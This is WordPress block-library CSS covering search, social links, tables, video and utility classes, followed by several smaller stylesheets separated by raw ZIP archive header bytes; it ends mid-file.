.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{
  overflow:hidden;
}
.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{
  border-left-width:0 !important;
  border-right-width:0 !important;
  flex-basis:0;
  flex-grow:0;
  margin:0;
  min-width:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  width:0 !important;
}

:where(.wp-block-search__input){
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  letter-spacing:inherit;
  line-height:inherit;
  text-transform:inherit;
}

:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){
  border:1px solid #949494;
  box-sizing:border-box;
  padding:4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{
  border:none;
  border-radius:0;
  padding:0 4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{
  outline:none;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){
  padding:4px 8px;
}

.wp-block-search.aligncenter .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  float:right;
}

.wp-block-separator{
  border:none;
  border-top:2px solid;
}

:root :where(.wp-block-separator.is-style-dots){
  height:auto;
  line-height:1;
  text-align:center;
}
:root :where(.wp-block-separator.is-style-dots):before{
  color:currentColor;
  content:"···";
  font-family:serif;
  font-size:1.5em;
  letter-spacing:2em;
  padding-left:2em;
}

.wp-block-separator.is-style-dots{
  background:none !important;
  border:none !important;
}

.wp-block-site-logo{
  box-sizing:border-box;
  line-height:0;
}
.wp-block-site-logo a{
  display:inline-block;
  line-height:0;
}
.wp-block-site-logo.is-default-size img{
  height:auto;
  width:120px;
}
.wp-block-site-logo img{
  height:auto;
  max-width:100%;
}
.wp-block-site-logo a,.wp-block-site-logo img{
  border-radius:inherit;
}
.wp-block-site-logo.aligncenter{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

:root :where(.wp-block-site-logo.is-style-rounded){
  border-radius:9999px;
}

.wp-block-site-tagline,.wp-block-site-title{
  box-sizing:border-box;
}
.wp-block-site-title :where(a){
  color:inherit;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  letter-spacing:inherit;
  line-height:inherit;
  text-decoration:inherit;
}

.wp-block-social-links{
  background:none;
  box-sizing:border-box;
  margin-left:0;
  padding-left:0;
  padding-right:0;
  text-indent:0;
}
.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{
  border-bottom:0;
  box-shadow:none;
  text-decoration:none;
}
.wp-block-social-links .wp-social-link svg{
  height:1em;
  width:1em;
}
.wp-block-social-links .wp-social-link span:not(.screen-reader-text){
  font-size:.65em;
  margin-left:.5em;
  margin-right:.5em;
}
.wp-block-social-links.has-small-icon-size{
  font-size:16px;
}
.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{
  font-size:24px;
}
.wp-block-social-links.has-large-icon-size{
  font-size:36px;
}
.wp-block-social-links.has-huge-icon-size{
  font-size:48px;
}
.wp-block-social-links.aligncenter{
  display:flex;
  justify-content:center;
}
.wp-block-social-links.alignright{
  justify-content:flex-end;
}

.wp-block-social-link{
  border-radius:9999px;
  display:block;
  height:auto;
}
@media not (prefers-reduced-motion){
  .wp-block-social-link{
    transition:transform .1s ease;
  }
}
.wp-block-social-link a{
  align-items:center;
  display:flex;
  line-height:0;
}
.wp-block-social-link:hover{
  transform:scale(1.1);
}

.wp-block-social-links .wp-block-social-link.wp-social-link{
  display:inline-block;
  margin:0;
  padding:0;
}
.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{
  color:currentColor;
  fill:currentColor;
}

:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link{
  background-color:#f0f0f0;
  color:#444;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-amazon{
  background-color:#f90;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bandcamp{
  background-color:#1ea0c3;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-behance{
  background-color:#0757fe;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bluesky{
  background-color:#0a7aff;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-codepen{
  background-color:#1e1f26;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-deviantart{
  background-color:#02e49b;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-discord{
  background-color:#5865f2;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dribbble{
  background-color:#e94c89;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dropbox{
  background-color:#4280ff;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-etsy{
  background-color:#f45800;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-facebook{
  background-color:#0866ff;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-fivehundredpx{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-flickr{
  background-color:#0461dd;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-foursquare{
  background-color:#e65678;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-github{
  background-color:#24292d;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-goodreads{
  background-color:#eceadd;
  color:#382110;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-google{
  background-color:#ea4434;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-gravatar{
  background-color:#1d4fc4;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-instagram{
  background-color:#f00075;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-lastfm{
  background-color:#e21b24;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-linkedin{
  background-color:#0d66c2;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-mastodon{
  background-color:#3288d4;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-medium{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-meetup{
  background-color:#f6405f;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-patreon{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pinterest{
  background-color:#e60122;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pocket{
  background-color:#ef4155;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-reddit{
  background-color:#ff4500;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-skype{
  background-color:#0478d7;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-snapchat{
  background-color:#fefc00;
  color:#fff;
  stroke:#000;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-soundcloud{
  background-color:#ff5600;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-spotify{
  background-color:#1bd760;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-telegram{
  background-color:#2aabee;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-threads{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tiktok{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tumblr{
  background-color:#011835;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitch{
  background-color:#6440a4;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitter{
  background-color:#1da1f2;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vimeo{
  background-color:#1eb7ea;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vk{
  background-color:#4680c2;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-wordpress{
  background-color:#3499cd;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-whatsapp{
  background-color:#25d366;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-x{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-yelp{
  background-color:#d32422;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-youtube{
  background-color:red;
  color:#fff;
}

:where(.wp-block-social-links.is-style-logos-only) .wp-social-link{
  background:none;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link svg{
  height:1.25em;
  width:1.25em;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-amazon{
  color:#f90;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bandcamp{
  color:#1ea0c3;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-behance{
  color:#0757fe;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bluesky{
  color:#0a7aff;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-codepen{
  color:#1e1f26;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-deviantart{
  color:#02e49b;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-discord{
  color:#5865f2;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dribbble{
  color:#e94c89;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dropbox{
  color:#4280ff;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-etsy{
  color:#f45800;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-facebook{
  color:#0866ff;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-fivehundredpx{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-flickr{
  color:#0461dd;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-foursquare{
  color:#e65678;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-github{
  color:#24292d;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-goodreads{
  color:#382110;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-google{
  color:#ea4434;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-gravatar{
  color:#1d4fc4;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-instagram{
  color:#f00075;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-lastfm{
  color:#e21b24;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-linkedin{
  color:#0d66c2;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-mastodon{
  color:#3288d4;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-medium{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-meetup{
  color:#f6405f;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-patreon{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pinterest{
  color:#e60122;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pocket{
  color:#ef4155;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-reddit{
  color:#ff4500;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-skype{
  color:#0478d7;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-snapchat{
  color:#fff;
  stroke:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-soundcloud{
  color:#ff5600;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-spotify{
  color:#1bd760;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-telegram{
  color:#2aabee;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-threads{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tiktok{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tumblr{
  color:#011835;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitch{
  color:#6440a4;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitter{
  color:#1da1f2;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vimeo{
  color:#1eb7ea;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vk{
  color:#4680c2;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-whatsapp{
  color:#25d366;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-wordpress{
  color:#3499cd;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-x{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-yelp{
  color:#d32422;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-youtube{
  color:red;
}

.wp-block-social-links.is-style-pill-shape .wp-social-link{
  width:auto;
}

:root :where(.wp-block-social-links .wp-social-link a){
  padding:.25em;
}

:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link a){
  padding:0;
}

:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link a){
  padding-left:.6666666667em;
  padding-right:.6666666667em;
}

.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{
  color:#000;
}

.wp-block-spacer{
  clear:both;
}

.wp-block-tag-cloud{
  box-sizing:border-box;
}
.wp-block-tag-cloud.aligncenter{
  justify-content:center;
  text-align:center;
}
.wp-block-tag-cloud.alignfull{
  padding-left:1em;
  padding-right:1em;
}
.wp-block-tag-cloud a{
  display:inline-block;
  margin-right:5px;
}
.wp-block-tag-cloud span{
  display:inline-block;
  margin-left:5px;
  text-decoration:none;
}

:root :where(.wp-block-tag-cloud.is-style-outline){
  display:flex;
  flex-wrap:wrap;
  gap:1ch;
}

:root :where(.wp-block-tag-cloud.is-style-outline a){
  border:1px solid;
  font-size:unset !important;
  margin-right:0;
  padding:1ch 2ch;
  text-decoration:none !important;
}

.wp-block-table{
  overflow-x:auto;
}
.wp-block-table table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-table thead{
  border-bottom:3px solid;
}
.wp-block-table tfoot{
  border-top:3px solid;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table .has-fixed-layout{
  table-layout:fixed;
  width:100%;
}
.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{
  word-break:break-word;
}
.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{
  display:table;
  width:auto;
}
.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{
  word-break:break-word;
}
.wp-block-table .has-subtle-light-gray-background-color{
  background-color:#f3f4f5;
}
.wp-block-table .has-subtle-pale-green-background-color{
  background-color:#e9fbe5;
}
.wp-block-table .has-subtle-pale-blue-background-color{
  background-color:#e7f5fe;
}
.wp-block-table .has-subtle-pale-pink-background-color{
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes{
  background-color:initial;
  border-bottom:1px solid #f0f0f0;
  border-collapse:inherit;
  border-spacing:0;
}
.wp-block-table.is-style-stripes tbody tr:nth-child(odd){
  background-color:#f0f0f0;
}
.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){
  background-color:#f3f4f5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){
  background-color:#e9fbe5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){
  background-color:#e7f5fe;
}
.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{
  border-color:#0000;
}
.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{
  border-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{
  border-top-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:not(:first-child){
  border-top-color:initial;
}
.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{
  border-right-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{
  border-bottom-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){
  border-bottom-color:initial;
}
.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{
  border-left-color:inherit;
}
.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{
  border-style:inherit;
}
.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{
  border-style:inherit;
  border-width:inherit;
}

:root :where(.wp-block-table-of-contents){
  box-sizing:border-box;
}

:where(.wp-block-term-description){
  box-sizing:border-box;
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-term-description p{
  margin-bottom:0;
  margin-top:0;
}
.wp-block-text-columns,.wp-block-text-columns.aligncenter{
  display:flex;
}
.wp-block-text-columns .wp-block-column{
  margin:0 1em;
  padding:0;
}
.wp-block-text-columns .wp-block-column:first-child{
  margin-left:0;
}
.wp-block-text-columns .wp-block-column:last-child{
  margin-right:0;
}
.wp-block-text-columns.columns-2 .wp-block-column{
  width:50%;
}
.wp-block-text-columns.columns-3 .wp-block-column{
  width:33.3333333333%;
}
.wp-block-text-columns.columns-4 .wp-block-column{
  width:25%;
}

pre.wp-block-verse{
  overflow:auto;
  white-space:pre-wrap;
}

:where(pre.wp-block-verse){
  font-family:inherit;
}

.wp-block-video{
  box-sizing:border-box;
}
.wp-block-video video{
  vertical-align:middle;
  width:100%;
}
@supports (position:sticky){
  .wp-block-video [poster]{
    object-fit:cover;
  }
}
.wp-block-video.aligncenter{
  text-align:center;
}
.wp-block-video :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}

.editor-styles-wrapper,.entry-content{
  counter-reset:footnotes;
}

a[data-fn].fn{
  counter-increment:footnotes;
  display:inline-flex;
  font-size:smaller;
  text-decoration:none;
  text-indent:-9999999px;
  vertical-align:super;
}

a[data-fn].fn:after{
  content:"[" counter(footnotes) "]";
  float:left;
  text-indent:0;
}
.wp-element-button{
  cursor:pointer;
}

:root{
  --wp--preset--font-size--normal:16px;
  --wp--preset--font-size--huge:42px;
}
:root .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .has-very-light-gray-color{
  color:#eee;
}
:root .has-very-dark-gray-color{
  color:#313131;
}
:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(135deg, #00d084, #0693e3);
}
:root .has-purple-crush-gradient-background{
  background:linear-gradient(135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .has-hazy-dawn-gradient-background{
  background:linear-gradient(135deg, #faaca8, #dad0ec);
}
:root .has-subdued-olive-gradient-background{
  background:linear-gradient(135deg, #fafae1, #67a671);
}
:root .has-atomic-cream-gradient-background{
  background:linear-gradient(135deg, #fdd79a, #004a59);
}
:root .has-nightshade-gradient-background{
  background:linear-gradient(135deg, #330968, #31cdcf);
}
:root .has-midnight-gradient-background{
  background:linear-gradient(135deg, #020381, #2874fc);
}

.has-regular-font-size{
  font-size:1em;
}

.has-larger-font-size{
  font-size:2.625em;
}

.has-normal-font-size{
  font-size:var(--wp--preset--font-size--normal);
}

.has-huge-font-size{
  font-size:var(--wp--preset--font-size--huge);
}

.has-text-align-center{
  text-align:center;
}

.has-text-align-left{
  text-align:left;
}

.has-text-align-right{
  text-align:right;
}

#end-resizable-editor-section{
  display:none;
}

.aligncenter{
  clear:both;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

.screen-reader-text{
  border:0;
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.screen-reader-text:focus{
  background-color:#ddd;
  clip-path:none;
  color:#444;
  display:block;
  font-size:1em;
  height:auto;
  left:5px;
  line-height:normal;
  padding:15px 23px 14px;
  text-decoration:none;
  top:5px;
  width:auto;
  z-index:100000;
}
html :where(.has-border-color){
  border-style:solid;
}

html :where([style*=border-top-color]){
  border-top-style:solid;
}

html :where([style*=border-right-color]){
  border-right-style:solid;
}

html :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}

html :where([style*=border-left-color]){
  border-left-style:solid;
}

html :where([style*=border-width]){
  border-style:solid;
}

html :where([style*=border-top-width]){
  border-top-style:solid;
}

html :where([style*=border-right-width]){
  border-right-style:solid;
}

html :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}

html :where([style*=border-left-width]){
  border-left-style:solid;
}
html :where(img[class*=wp-image-]){
  height:auto;
  max-width:100%;
}
:where(figure){
  margin:0 0 1em;
}

html :where(.is-position-sticky){
  --wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height, 0px);
}

@media screen and (max-width:600px){
  html :where(.is-position-sticky){
    --wp-admin--admin-bar--position-offset:0px;
  }
}PK1Xd[ZK�YY*dist/block-library/editor-elements-rtl.cssnu�[���.wp-element-button{
  cursor:revert;
}
.wp-element-button[role=textbox]{
  cursor:text;
}PK1Xd[:��''dist/block-library/elements.cssnu�[���.wp-element-button{
  cursor:pointer;
}PK1Xd[�7�g dist/block-library/reset.min.cssnu�[���html :where(.editor-styles-wrapper){background:#fff;color:initial;font-family:serif;font-size:medium;line-height:normal}:where(.editor-styles-wrapper) .wp-align-wrapper{max-width:840px}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{max-width:none}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{max-width:840px}:where(.editor-styles-wrapper) a{transition:none}:where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{background:inherit;font-family:monospace;font-size:inherit;margin:0;padding:0}:where(.editor-styles-wrapper) p{font-size:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{box-sizing:border-box;list-style-type:revert;margin:revert;padding:revert}:where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{margin:revert}:where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{margin:revert}:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{list-style-type:revert}:where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{color:revert;font-size:revert;font-weight:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) select{-webkit-appearance:revert;background:revert;border:revert;border-radius:revert;box-shadow:revert;color:revert;cursor:revert;font-family:system-ui;font-size:revert;font-weight:revert;line-height:revert;margin:revert;max-width:revert;min-height:revert;outline:revert;padding:revert;text-shadow:revert;transform:revert;vertical-align:revert}:where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{background-color:revert;background-image:revert;border-color:revert;box-shadow:revert;color:revert;cursor:revert;text-shadow:revert;transform:revert}PK1Xd[+��""#dist/block-library/elements.min.cssnu�[���.wp-element-button{cursor:pointer}PK1Xd[�^
oCC!dist/block-library/editor.min.cssnu�[���ul.wp-block-archives{padding-left:2.5em}.wp-block-archives .wp-block-archives{border:0;margin:0}.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.wp-block-avatar__image img{width:100%}.wp-block-avatar.aligncenter .components-resizable-box__container{margin:0 auto}.wp-block[data-align=center]>.wp-block-button{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align=right]>.wp-block-button{
  /*!rtl:ignore*/text-align:right}.wp-block-button{cursor:text;position:relative}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}div[data-type="core/button"]{display:table}.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}.wp-block-categories ul{padding-left:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-categories__indentation{padding-left:16px}.wp-block-code code{background:none}.wp-block-columns :where(.wp-block){margin-left:0;margin-right:0;max-width:none}html :where(.wp-block-column){margin-bottom:0;margin-top:0}.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:left}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:right}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email 